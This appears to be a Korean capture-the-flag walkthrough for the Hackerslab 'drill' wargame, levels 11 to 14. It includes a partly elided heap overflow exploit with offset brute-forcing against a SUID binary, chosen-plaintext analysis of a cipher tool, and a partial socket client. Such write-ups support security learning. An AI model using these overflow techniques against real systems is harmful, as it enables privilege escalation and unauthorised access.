위의 글을 보면 heap overflow에 대한 자세한 설명과 소스가 있으므로 exploit 소스는 작성한 것으로 간주하고, 이제 drill에 접속해서 렙12의 패스워드를 얻는 과정을 보자.

[level11@drill level11]$cd tmp
[level11@drill tmp]$mkdir jkp
[level11@drill tmp]$cd jkp
[level11@drill jkp]$find / -user level12 -group level11 -print
/usr/local/bin/hof
[level11@drill jkp]$ls -l /usr/local/bin/hof
-rws--x--- 1 level12 level11 924592 Aug 12 12:53 /usr/local/bin/hof
[level11@drill jkp]$ln -s /usr/local/bin/hof hof
[level11@drill jkp]$cat > exploit.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>

#define BUFSIZE 256
#define ERROR -1

#define DIFF 16
#define VULPROG "./hof"
#define VULFILE "/usr/local/bin/passwd.success"   <--/*the file 'buf' will be stored in */

u_long getesp()
{
__asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
u_long addr;
...... 중략..
......
^D

[level11@drill jkp]$cc -o exploit exploit.c
[level11@drill jkp]$ ls -l
total 17
-rwxrwxr-x 1 level11 level11 13367 Jan 12 05:02 exploit
-rw-rw-r-- 1 level11 level11 1716 Jan 12 05:02 exploit.c
lrwxrwxrwx 1 level11 level11 18 Jan 12 05:00 hof -> /usr/local/bin/hof

[level11@drill jkp]$./hof
level11's Password : xxxxxxxxxxxxxxxxx
Segmentation fault

[level11@drill jkp]$ ./exploit 364
Overflowing tmpaddr to point to 0xbffffecc, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = ./hof
ELF

[level11@drill jkp]$ ./exploit 365
Overflowing tmpaddr to point to 0xbffffecd, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = /hof
error opening /hof: No such file or directory

[level11@drill jkp]$ ./exploit 366
Overflowing tmpaddr to point to 0xbffffece, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = hof
ELF

[level11@drill jkp]$ ./exploit 369
Overflowing tmpaddr to point to 0xbffffed1, check /usr/local/bin/passwd.success after.

level11's Password :
view_file =
error opening : No such file or directory

[level11@drill jkp]$ ./exploit 370
Overflowing tmpaddr to point to 0xbffffed2, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = /usr/local/bin/passwd.success

패스워드 : x xxxx xx xxxx forever

[level11@drill jkp]$ ./exploit 371
Overflowing tmpaddr to point to 0xbffffed3, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = usr/local/bin/passwd.success
error opening usr/local/bin/passwd.success: No such file or directory

[level11@drill jkp]$ ./exploit 372
Overflowing tmpaddr to point to 0xbfffed4, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = sr/local/bin/passwd.success
error opening sr/local/bin/passwd.success: No such file or directory

레벨12 -> 레벨13
문제
여러분의 hope 뛰어난 능력의 소유자인 서군은 해커스랩 관리자들이 level13으로 로긴할 때 sniffer를 돌려 통신 내용을 캡쳐하였다. 그러나 관리자들은 직접 고안한 알고리즘으로 비밀 통신을 하고 있어서 도무지 레벨13의 실제 패스워드가 무엇인지는 알 수 없었다. (그 level13의 패스워드는 tu|tSI/Z^로 암호화 되어 있었다.)
불행중 다행으로 서군은 시스템을 뒤지던 중 관리자들이 암호화 할 때 쓰는 툴이 /usr/bin/encrypt 에 있음을 발견하였다. 여러분은 서군이 발견한 encrypt를 테스트하여 암호화 알고리즘을 분석한 뒤 해독 알고리즘을 구현하여 level13의 실제 패스워드를 알아내시오

힌트
...

풀이
이번 문제는 지금까지 해온 SUID나 race condition/buffer overflow/heap overflow/IP spoofing 등과는 관계가 없다.
암호화하는 툴인 encrypt를 여러가지로 테스트 해서 tu|tSI/Z^로 암호화 되는 문자를 역추적하는 문제이다..encrypt 툴의 알고리즘을 완벽하게 분석하여 해독 알고리즘을 구현하여 푸는 문제이지만, 해독 알고리즘까지 구현하는 것은 나중에 각자 해보도록 하자..

[level12@drill tmp]$find / -user level13 -group level12 -print
/usr/bin/encrypt
[level12@drill tmp]$ls -l /usr/bin/encrypt
-rwxr-x--- 1 level13 level12 13781 Aug 10 15:15 /usr/bin/encrypt
[level12@drill tmp]$ln -s /usr/bin/encrypt enc

[level12@drill tmp]$./enc aaaaaaaaa
encrypted character: 'GGGBBB-SS'
[level12@drill tmp]$./enc aaa1aaaaa
encrypted character:'tGGBBB-SS'
[level12@drill tmp]$./enc aaaa2aaaa
encrypted character: 'GuGBBB-SS'
[level12@drill tmp]$./enc aaaaa9aaa
encrypted character: 'GG|BBB-SS'
[level12@drill tmp]$./enc aaa129aaa
encrypted character: 'tu|BBB-SS'

[level12@drill tmp]$./enc caa129aaa
encrypted character: 'tu|BBB/SS'
[level12@drill tmp]$./enc cha129aaa
encrypted character: 'tu|BBB/ZS'
[level12@drill tmp]$./enc chl129aaa
encrypted character: 'tu|BBB/Z^'
[level12@drill tmp]$./enc chl129aaa
encrypted character: 'tu|BBB/Z^'

[level12@drill tmp]$
.....
.....
[level12@drill tmp]$./enc xxxxxxxxx
encrypted character: 'tu|tSI/Z^'

레벨13 -> 레벨14
문제
이번 문제는 TCP/IP Networking을 이용해 통신을 할 수 있는가 하는 능력과..약간의 수학적 지식을 이용하는 문제입니다.. 자세한 문제설명을 위에 있구요..

힌트
...

풀이
TCP/IP Networking을 이용한 통신은 레벨10에서 어느정도 내용을 아셨을 겁니다..이번 레벨에서는 그걸 조금더 확장하는 문제입니다..(소켓 프로그래밍..을 자세히 읽어보세요..) drill 서버 2994 포트로 접속해서..문제를 받고 정답을 구해서..서버로 보내고..이런 과정을 세번 연속해서 맞추면 서버로부터 렙14의 패스워드가 옵니다..아래는 제가 작성한 client 프로그램입니다..아직 TCP/IP 프로그래밍을 많이 모르긴 하지만 참고하세요..

[bluesky@bluestar bluesky]$cat > client.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>
#include "proto.h"

#define DEST_IP "203.239.110.20"
#define DEST_PORT 2994
#define BACKLOG 10

main()
{
     int i = 1, j = 1;
     int sockfd, new_fd;
     int len, bytes_sent, bytes_recv;
     struct sockaddr_in dest_addr;
     struct query_type qu;
     struct reply_type re;

     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
     {
          perror("socket error!!!");
          exit(1);
     }

    .... 중략 ..

     if (connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) {
          perror("connect error!!!");
          exit(1);
     }
     printf(" 서버(%s: port 2994)에 연결이 되었습니다...\n", inet_ntoa(dest_addr.sin_addr));

     for (i=1; i<=3; i++) {
          if(!fork()) {   /* this is the child process */
              if ((bytes_recv = recv(sockfd, &qu, sizeof(qu), 0)) == -1) {
                    perror("recv error!!!");
                    exit(1);
              }

              printf(" Received query(query_a) : %d\n", qu.query_a);
              printf(" Received query(query_b) : %d\n", qu.query_b);
              printf(" Received query(next_pass): (%d)%s\n", qu.flag, qu.next_pass);

              strcpy(re.current_pass, "chl1296rh");

              /* 서버로 부터받은 query_a/b를 dist로 넘겨 답을 구한후 re.answer로 */
              re.answer = dist(qu.query_a, qu.query_b);
              if ((bytes_sent = send(sockfd, &re, sizeof(re), 0)) == -1) {
                    perror("sendto error!!!");
                    exit(1);
              }
          }
     }
     close(sockfd);
}

int dist( int a, int b)
{
.....
.....
^D
[bluesky@bluestar bluesky]$